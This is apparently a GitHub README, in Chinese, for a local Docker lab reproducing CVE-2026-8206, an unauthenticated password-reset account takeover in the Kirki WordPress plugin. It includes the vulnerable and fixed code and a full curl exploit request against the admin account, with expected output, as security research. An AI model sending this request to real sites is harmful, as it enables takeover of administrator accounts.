rootdirective-sec/CVE-2026-8206-Lab
GitHub: rootdirective-sec/CVE-2026-8206-Lab
该项目是一个基于 Docker 的本地漏洞复现实验室,用于演示和验证 Kirki WordPress 插件中无需身份验证的账户接管漏洞(CVE-2026-8206)。
Stars: 0 | Forks: 0
# CVE-2026-8206 - Kirki 账户接管实验室
用于演示 Kirki WordPress 插件中 CVE-2026-8206 漏洞的本地 Docker 实验室。
此仓库对比了真实的 Kirki 插件发布版本:
- `vuln`:Kirki `6.0.6`
- `patched`:Kirki `6.0.7`
该实验室仅在本地运行,并将 WordPress 服务绑定到 `127.0.0.1`。
该 PoC 采用了最低危害的方式:它请求重置密码,并验证实验室中捕获的邮件收件人。它**不会**更改任何密码。
## 概述
CVE-2026-8206 是 Kirki `6.0.0` 到 `6.0.6` 版本中存在的一个无需身份验证的账户接管 / 权限提升漏洞。
存在漏洞的密码重置处理程序会根据指定的 `username` 为真实的 WordPress 用户创建重置密钥,但会将重置邮件发送到请求中提供的任意邮箱地址。
在此实验室中:
```
vulnerable => reset link for admin is sent to attacker-lab@example.test
patched => mismatched email is rejected and no reset email is sent to attacker-lab@example.test
```
## 受影响组件
- 产品:Kirki – Freeform Page Builder, Website Builder & Customizer
- 受影响版本:`6.0.0` 到 `6.0.6`
- 已修复版本:`6.0.7`
- 本实验中使用的存在漏洞的 endpoint:
```
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
```
## 根本原因
存在漏洞的处理程序为:
```
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
```
### 6.0.6 中的漏洞行为
Kirki 从请求体中读取攻击者提供的邮箱:
```
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
```
然后通过用户名解析目标 WordPress 用户,并为该用户创建密码重置密钥:
```
$key = get_password_reset_key( $user );
```
但最终的重置邮件被发送到了请求中提供的 `$email`:
```
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
```
这破坏了账户身份与重置邮件接收者之间的信任边界。
未经身份验证的请求者可以提供:
```
username=admin
email=attacker-lab@example.test
```
重置密钥属于 `admin`,但邮件被发送到了攻击者控制的地址。
### 6.0.7 中的修复行为
Kirki `6.0.7` 会验证提供的邮箱与解析出的用户注册邮箱是否匹配,然后在发送前强制将收件人设为该账户邮箱:
```
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
```
## 实验室设计
| 服务 | 用途 | 主机 URL |
|---|---|---|
| `vuln` | WordPress + Kirki `6.0.6` | `http://127.0.0.1:8081` |
| `patched` | WordPress + Kirki `6.0.7` | `http://127.0.0.1:8082` |
| `db_vuln` | 用于存在漏洞的 WordPress 的 MySQL | 仅限 Docker 网络内部 |
| `db_patched` | 用于已修复的 WordPress 的 MySQL | 仅限 Docker 网络内部 |
| `wpcli_vuln` | 为存在漏洞的 WordPress 初始化数据 | 一次性设置 |
| `wpcli_patched` | 为已修复的 WordPress 初始化数据 | 一次性设置 |
本地邮件将被捕获到文件中,而不是发送到外部:
```
artifacts/vuln-mail/
artifacts/patched-mail/
```
本实验室使用通过 WP-CLI 安装的真实 Kirki 插件版本。插件源代码未被修改。
## 仓库结构
```
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
```
## 环境要求
- Docker Desktop 或 Docker Engine
- Docker Compose v2
- Python 3
- Python `requests` 包
如有需要,请安装 Python 依赖项:
```
python3 -m pip install requests
```
## 运行实验室
启动容器:
```
docker compose up -d --build
```
为两个 WordPress 实例初始化数据:
```
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
```
运行 PoC:
```
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
```
## 预期结果
### 存在漏洞:Kirki 6.0.6
预期结果:
```
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: attacker-lab@example.test
Subject: CVE-2026-8206 local lab proof
```
这证明了存在漏洞的版本将目标账户的密码重置邮件发送到了攻击者控制的地址。
### 已修复:Kirki 6.0.7
预期结果:
```
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
```
这证明了已修复的版本会拒绝用户名/邮箱不匹配的请求,并且不会将重置邮件发送到攻击者控制的地址。
## 手动验证
在存在漏洞的实验室内生成正确的 Kirki element nonce:
```
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
```
向存在漏洞的服务发送一个仅限本地的请求:
```
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "email=attacker-lab@example.test" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
```
检查捕获的邮件:
```
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
```
预期的漏洞证据:
```
To: attacker-lab@example.test
... action=rp ... login=admin ...
```
## 安全声明
本实验室仅供本地安全研究和作品集演示使用。
安全保护措施:
- 仅将服务绑定到 `127.0.0.1`。
- 使用虚拟的本地邮箱地址。
- 在本地捕获邮件,而不是发送真实邮件。
- 不更改任何密码。
- 不尝试对外部系统进行利用。
## 清理
```
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail
```
## 参考
- CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-8206
- Wordfence 公告:https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
- Wordfence 漏洞数据库:https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
- WordPress 插件页面 / 更新日志:https://wordpress.org/plugins/kirki/
- OpenCVE 条目:https://app.opencve.io/cve/CVE-2026-8206
标签:CISA项目, CVE-2026-8206, Docker, OpenVAS, PHP, WordPress, 安全漏洞靶场, 安全防御评估, 文件完整性监控, 漏洞复现, 版权保护, 请求拦截, 逆向工具